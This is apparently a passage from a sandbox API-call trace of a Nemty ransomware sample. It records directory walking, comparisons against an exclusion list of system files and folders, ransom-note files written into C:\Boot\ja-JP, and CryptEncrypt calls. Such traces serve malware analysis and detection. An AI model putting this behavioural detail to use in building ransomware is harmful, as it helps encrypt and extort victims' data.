(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.991] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.991] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.991] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.991] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6cbcb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce6cbcb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce6cbcb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.991] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.992] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2=".") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="..") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="...") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="windows") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="$RECYCLE.BIN") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="rsa") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="NTDETECT.COM") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="ntldr") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="MSDOS.SYS") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="IO.SYS") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="boot.ini") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="boot.ini") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="AUTOEXEC.BAT") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="ntuser.dat") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="desktop.ini") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="CONFIG.SYS") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="RECYCLER") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="BOOTSECT.BAK") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="bootmgr") returned 1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="programdata") returned -1 [0044.992] lstrcmpiW (lpString1="ja-JP", lpString2="appdata") returned 1 [0044.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ja-JP", lpUsedDefaultChar=0x0) returned 5 [0044.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ja-JP", lpUsedDefaultChar=0x0) returned 5 [0044.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.993] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ja-jp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.993] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.993] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.994] CloseHandle (hObject=0x3c0) returned 1 [0044.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.995] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ja-jp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.996] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.996] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.996] CloseHandle (hObject=0x3c0) returned 1 [0044.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.997] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce848a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce848a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.997] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.997] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce848a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce848a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.997] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.997] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.997] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.997] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.998] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.998] Sleep (dwMilliseconds=0x5) [0045.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce86ebd0, dwHighDateTime=0x1d561e7)) [0045.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce86ebd0, dwHighDateTime=0x1d561e7)) [0045.004] GetLastError () returned 0xb7 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.004] GetLastError () returned 0xb7 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.004] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.004] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.004] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.004] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: 